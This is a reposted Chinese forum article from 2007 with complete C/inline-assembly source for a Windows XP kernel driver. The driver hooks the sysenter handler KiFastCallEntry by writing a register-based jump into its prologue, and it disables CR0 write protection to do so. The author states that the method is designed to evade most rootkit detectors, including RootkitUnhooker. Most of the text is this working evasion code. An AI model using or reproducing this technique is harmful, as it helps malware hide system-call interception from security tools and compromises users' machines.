另一种sysenter hook方法(绕过绝大多数的rootkit检测工具的检测)

最新推荐文章于 2020-02-10 21:07:14 发布

H-KING

最新推荐文章于 2020-02-10 21:07:14 发布

阅读量1.3k

点赞数

标题: 【原创】另一种sysenter hook方法(绕过绝大多数的rootkit检测工具的检测)
作者: 堕落天才
时间: 2007-04-14,11:09:49
链接: http://bbs.pediy.com/showthread.php?t=42705

*****************************************************************************
*标题:【原创】另一种sysenter hook方法(绕过绝大多数的rootkit检测工具的检测) *
*作者:堕落天才 *
*日期:2007年4月14号 *
*****************************************************************************

先废话,当初是为了绕开NP对sysenter保护而想出来的,后来发现连RootkitUnhooker都绕了.

什么是sysenter hook我也不罗唆了,一般的拦截方法就是通过rdmsr wrmsr 两个指令把原来的sysenter地址改成自己的sysenter地址来实现的.这种方法使用方便,但检测也很容易.
这里介绍的另外一种方法不改变sysenter地址,而是通过直接在原来sysenter地址里面写跳转代码来实现的,这实际上跟一般的函数头inline hook一样.这样rootkit检测工具就不会认为sysenter已经改变(实际上也是没变).
一般的rootkit检测工具检测函数inline hook是通过检测长跳转指令0xE9的来判断跳转距离是不是超出函数所在的模块范围来确定的.但是实现跳转我们也可以借助寄存器或变量(用变量跳转需要涉及重定位问题,麻烦.所以一般用寄存器),这样跳转指令就不是0xE9了而是0xFF,这个绝大多数rootkit检测工具是检测不到的(包括著名的RootkitUnhooker,VICE).

由于我们已经改变了KiFastCall函数头,所以我们只能把原来的函数头代码放到另外一个地方执行(动态分配内存,当然如果不考虑兼容性硬编码也没问题),然后再跳转回来.这里使用了"三级跳",大概是这个样子.
sysenter->KiFastCall
JMP -> MyKiFastCall(这里进行拦截或什么的)
JMP -> KiFastCall head code (这里执行原来KiFastCall函数头代码)
JMP -> KiFastCall + N(已经执行指令长度)
///
//堕落天才
//2007年4月14日
#include
#include "OpCodeSize.h"

ULONG uSysenter; //sysenter地址
UCHAR uOrigSysenterHead[8];//保存原来的八个字节函数头
PUCHAR pMovedSysenterCode; //把原来的KiFastCall函数头保存在这里
ULONG i; //记录服务ID
__declspec(naked) void MyKiFastCallEntry(void)
{
__asm{
pop edi //因为用到了edi来跳转这里恢复
mov i, eax //得到服务ID
}
__asm{
pushad
push fs
push 0x30
pop fs
}

DbgPrint("sysenter was hooked! Get service ID:%X",i); //证明自己存在

__asm{
pop fs
popad
jmp pMovedSysenterCode //第二跳,跳转到原来的函数头代码
}

}
//
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
__asm{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}

memcpy((PVOID)uSysenter,uOrigSysenterHead,8);//把原来函数头的八个字节恢复

__asm{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
ExFreePool(pMovedSysenterCode); // 释放分配的内存
DbgPrint("Unload sysenterHook");
}

VOID HookSysenter()
{
UCHAR cHookCode[8] = { 0x57, //push edi 第一跳,从KiFastCall跳到MyKiFastCallEntry.并绕过rootkit检测工具检测
0xBF,0,0,0,0, //mov edi,0000
0xFF,0xE7}; //jmp edi

UCHAR JmpCode[]={0xE9,0,0,0,0}; //jmp 0000 第三跳,从KiFastCall函数头代码跳转到原来KiFastCall+N

int nCopyLen = 0;
int nPos = 0;

__asm{
mov ecx,0x176
rdmsr
mov uSysenter,eax //得到KiFastCallEntry地址
}
DbgPrint("sysenter:0xX",uSysenter);

nPos = uSysenter;
while(nCopyLen<8){ //我们要改写的函数头至少需要8字节这里计算实际需要COPY的代码长度因为我们不能把一条完整的指令打断
nCopyLen += GetOpCodeSize((PVOID)nPos); //参考1
nPos = uSysenter + nCopyLen;
}

DbgPrint("copy code lenght:%d",nCopyLen);

pMovedSysenterCode = ExAllocatePool(NonPagedPool,20);

memcpy(uOrigSysenterHead,(PVOID)uSysenter,8);//备份原来8字节代码

*((ULONG*)(JmpCode+1)) = (uSysenter + nCopyLen) - ((ULONG)pMovedSysenterCode + nCopyLen)- 5;//计算跳转地址

memcpy(pMovedSysenterCode,(PVOID)uSysenter,nCopyLen); //把原来的函数头放到新分配的内存
memcpy((PVOID)(pMovedSysenterCode + nCopyLen),JmpCode,5); //把跳转代码COPY上去

*((ULONG*)(cHookCode+2)) = (ULONG)MyKiFastCallEntry; //HOOK地址

DbgPrint("Saved sysenter code:0xX",pMovedSysenterCode);
DbgPrint("MyKiFastCallEntry:0xX",MyKiFastCallEntry);

__asm{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}

memcpy((PVOID)uSysenter,cHookCode,8);//把改写原来函数头

__asm{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}

}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{

DbgPrint("Welcome to sysenterhook.sys");
DriverObject->DriverUnload = OnUnload;
HookSysenter();
return STATUS_SUCCESS;
}
///
以上代码在 XP SP2中文 + RootkitUnhooker下测试通过

同理 IDT hook也可以用这种方法实现,HOOK的实质是改变程序流程,无论在哪里改变
*************************************************************************************************
参考1, 海风月影 ,【分享】西裤哥的 Hook Api Lib 0.2 For C